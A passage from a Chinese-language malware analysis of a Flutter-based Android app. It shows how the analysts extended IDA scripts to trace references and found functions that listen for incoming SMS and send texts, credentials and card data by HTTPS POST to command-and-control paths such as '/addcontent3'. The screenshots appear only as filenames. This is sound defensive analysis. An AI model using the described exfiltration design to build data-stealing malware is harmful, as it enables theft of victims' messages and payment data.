在Flutter應用程序逆向工程時，研究人員注意到最後一個字段（unk）經常被用作指針。可以考慮將該字段從簡單的QWORD轉換為OFFSET QWORD。這可能會給帶來一些誤報，但也可能非常有助於創建參考。因此，我們決定更改由腳本創建的unkin結構的字段類型。以下是對原始腳本的更改：



 23.png



對dart_obj_create.py腳本的更改



研究人員提到的存儲庫包含一個用於創建對Dart對象引用的腳本：add_xref_to_art_objects.py。當運行它時，該腳本會遍歷代碼並創建對create_Dart_objects.py腳本創建的Dart對象的引用。不過此時仍然只有一個對我們感興趣的字符串的引用，即來自對像池的引用：



 24.png



沒有對CC服務器URL的引用



我們的第一個想法是，也許根本沒有交叉引用？不過這不可能，存在幾個交叉引用，例如，這個對象就具有引用：



 25.png



幾個從函數到對象的引用



這是從函數中引用的對象：



 26.png



引用在函數代碼中的外觀



通過瀏覽add_xref_to_dart_objects.py的代碼，我們可以看到文件dart_obj_xref.py。該文件還遍歷代碼，嘗試根據寄存器X27提取對數據的引用，計算這些引用的偏移量，最後創建IDA引用。對代碼的分析表明，原始腳本支持訪問該對象的兩種ARM代碼變體：



 27.png



代碼是否使用了一些其他指令來引用寄存器X27？讓我們檢查一下。為了方便起見，讓我們修改腳本，並為用X27處理的每條指令添加一條註釋：



 28.png



dart_obj_xref.py修改



然後，我們可以檢查用X27處理的結構的反彙編程序列表，這些構造沒有附加對Dart對象的註釋引用。我們可以通過IDA生成一個列表文件並使用grep實用程序進行grep，從而部分自動化這些操作，如下所示：



 29.png



首先，grep查找具有X27的所有字符串。然後，所有這些字符串都給了第二個grep命令，只打印那些不包含對Dart對象引用的字符串。因此，我們只看到不受支持的X27引用。



當檢測到不受支持的X27構造時，我們將在腳本中添加支持該構造的代碼。經過幾次迭代，我們終於獲得了對CC地址字符串的引用：



 30.png



對CC地址字符串的引用



讓我們從sub_70FD611C0C開始檢查這些函數。簡要概述顯示，當與CC服務器通信時，此函數打算使用路徑為“/addcontent3”的HTTP POST方法來執行：



 31.png



sub_70FD611C0C函數的偽代碼



另一個Dart對像也有對這個函數的引用：



 32.png



對Dart對象的引用



當我們遍歷這些引用時，我們最終得到了帶有以下代碼的函數：



 33.png



負責監聽所有傳入短信的代碼



此函數為所有傳入的短信安裝一個偵聽器。



為了確保我們做了正確的靜態分析，我們在運行時在一個真實的設備上檢查了這個函數。實際上，我們捕獲了一個發送到CC服務器的POST請求。



這是設備收到帶有“Fdsa”文本的短信後的CC請求示例：



 34.png



因此，使用sub_70FD611C0C函數將短信洩露到CC服務器



除了被洩露的數據類型和服務器路徑之外，函數sub_70FD61EBC4和sub_70FD61EECC看起來與已經分析的sub_70FD 611C0C非常相似。這些函數分別使用路徑“/addcontent”和“/addcontent2”，用於洩露受害者的憑據和支付卡信息。



DEX代碼中沒有服務器通信的痕跡，因此我們可以假設所有通信都位於應用程序的Flutter部分。在分析了與命令控制服務器通信相關的所有功能之後，我們可以描述網絡協議。



CC通信CC協議旨在將數據從受攻擊設備發送到服務器。沒有命令可以在相反的方向上發送，即從服務器發送到受攻擊設備。 HTTPS用於傳輸數據，並且使用了幾個終端。



以下是我們在分析樣本中遇到的每個終端的介紹：



 35.png



用於約會惡意應用程序的網絡誘餌變體使用了非常相似的協議。這是一個洩露信用卡數據的示例：